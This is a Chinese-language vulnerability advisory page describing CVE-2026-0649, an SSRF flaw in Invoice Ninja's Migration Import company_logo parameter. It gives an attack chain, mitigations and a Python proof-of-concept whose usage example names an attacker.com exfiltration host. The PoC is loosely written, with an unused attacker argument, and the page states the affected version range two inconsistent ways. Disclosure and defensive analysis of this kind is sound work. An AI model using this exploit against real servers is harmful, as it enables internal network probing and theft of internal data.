IPBUF安全漏洞报告
English
CVE-2026-0649 CVSS 4.7 中危

CVE-2026-0649: Invoice Ninja Migration Import组件SSRF漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2026-0649
漏洞类型
服务器端请求伪造(SSRF)
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Invoice Ninja

相关标签

服务器端请求伪造SSRFInvoice NinjaCVE-2026-0649Migration Importinvoiceninja

漏洞概述

CVE-2026-0649是Invoice Ninja开源发票管理系统中的一个服务器端请求伪造(SSRF)漏洞。该漏洞存在于Migration Import组件的Import.php文件copy函数中,攻击者可以通过操纵company_logo参数发起SSRF攻击。Invoice Ninja是一款流行的开源发票、报价和项目管理软件,广泛应用于中小企业。由于该漏洞无需复杂的攻击条件即可利用,且已公开披露,攻击者可能利用此漏洞探测内网服务、访问内部资源或执行进一步的攻击。CVSS评分4.7属于中等严重程度,需要高权限用户才能触发此漏洞,但攻击者可利用SSRF读取服务器内部资源或与内部服务交互。

技术细节

该漏洞位于invoiceninja的/app/Jobs/Util/Import.php文件中的copy函数。攻击者通过Migration Import功能上传或指定company_logo时,可以注入恶意构造的URL。当应用程序处理company_logo参数时,会由服务器端发起请求获取该资源。攻击者可以指定内部网络地址(如127.0.0.1、192.168.x.x等)作为logo URL,诱导服务器向内部服务发起请求,从而实现端口扫描、内网服务探测、或读取内部敏感数据。攻击成功需要具备高权限账户访问Migration Import功能,CVSS向量显示攻击复杂度低(AC:L),可远程利用(AV:N)。由于该漏洞已在2026年1月7日公开披露,官方未做出响应修复,用户需自行采取防护措施。

攻击链分析

STEP 1
步骤1
攻击者获取Invoice Ninja系统的高权限账户访问权限
STEP 2
步骤2
访问系统的Migration Import功能模块(通常位于/settings/import_export)
STEP 3
步骤3
在company_logo参数中注入内网地址或恶意URL(如http://127.0.0.1:端口)
STEP 4
步骤4
服务器端处理请求时,会向攻击者指定的内部地址发起HTTP请求
STEP 5
步骤5
通过分析响应时间或响应内容,攻击者可判断内网端口是否开放、服务类型等信息
STEP 6
步骤6
进一步利用SSRF读取内网服务返回的敏感数据或执行更深层的攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-0649 PoC - Invoice Ninja SSRF via Migration Import # Target: Invoice Ninja <= 5.12.38 # Attack Vector: company_logo parameter in Migration Import def exploit_ssrf(target_url, internal_target, attacker_server): """ Exploit SSRF vulnerability in Invoice Ninja Migration Import target_url: Base URL of Invoice Ninja instance internal_target: Internal service to target (e.g., 'http://127.0.0.1:22') attacker_server: Attacker's server to receive internal response """ # Login to get session login_url = f"{target_url}/login" session = requests.Session() # Credentials for high-privilege user credentials = { 'email': '[email protected]', 'password': 'admin_password' } # Login request login_response = session.post(login_url, data=credentials) if login_response.status_code != 200: print("[-] Login failed") return False # Navigate to Migration Import functionality import_url = f"{target_url}/settings/import_export" # Prepare SSRF payload via company_logo parameter # The vulnerable parameter accepts URL for company logo ssrf_payload = { 'company_logo': internal_target, # e.g., http://127.0.0.1:8080 'import_type': 'json', 'data_file': open('malicious_data.json', 'rb') } # Send malicious request try: response = session.post(import_url, files=ssrf_payload, timeout=10) print(f"[*] Request sent to: {internal_target}") print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[*] SSRF triggered - internal request made to: {internal_target}") return True if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2026-0649_poc.py <target_url> <internal_target> <attacker_server>") print("Example: python cve-2026-0649_poc.py http://vulnerable-invoice-ninja.com http://127.0.0.1:22 http://attacker.com/exfil") sys.exit(1) target = sys.argv[1] internal = sys.argv[2] attacker = sys.argv[3] exploit_ssrf(target, internal, attacker)

影响范围

Invoice Ninja < 5.12.38

防御指南

临时缓解措施
临时缓解措施:1)限制Migration Import功能的访问权限,仅允许受信任的管理员使用;2)在网络层实施出站请求过滤,阻止服务器向内网地址发起请求;3)使用网络隔离技术,限制Web服务器对内网资源的访问权限;4)启用详细的访问日志监控,及时发现异常请求模式;5)考虑临时禁用Migration Import功能直到官方发布修复补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表